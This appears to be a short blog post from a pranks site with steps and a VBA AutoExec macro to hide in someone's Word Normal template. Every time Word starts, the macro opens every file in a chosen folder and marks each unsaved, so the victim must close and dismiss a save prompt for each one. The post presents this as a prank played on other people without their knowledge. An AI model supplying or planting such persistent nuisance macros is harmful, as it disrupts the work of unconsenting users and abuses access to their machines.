Computer Pranks Central

If you are new to the site, sign up for the RSS Feed. All new sign ups get punch and pieRSS feed. Thanks for visiting!

Most people save their word documents in one main folder (My Documents). This next prank takes advantage of this carelessness. What happens is, whenever you open up word, it opens every document in the folder you specify. So if they have 1000 files it opens up all 1000. This would be annoying enough to have to go and close each one by hand, but I decided it wasn’t annoying enough. When it opens a document, it sets save = false. So, now not only do you have to close them but it will prompt you every single time to save. Depending on the person this could be just down right mean.

So how do you do it

Step 1: Open Word

Step 2: Press Alt F11

Step 3: Select your Normal Template

Step 4: Copy this code into “ThisDocument”
Sub AutoExec()
With Application.FileSearch
.FileName = "*"
.LookIn = "C:\"
.Execute
For I = 1 To .FoundFiles.Count
Documents.Open FileName:=CStr(.FoundFiles(I))
ActiveDocument.saved = false
Next I
End With
End Sub
Step 5: Change the .lookIN=”C:\” to the file location of your choice. (Where ever they save their docs)

Step6: Ctrl+S

Step7: Close Word

Now if this is done correctly it will open EVERY file that Word is capable of opening.

Happy Pranking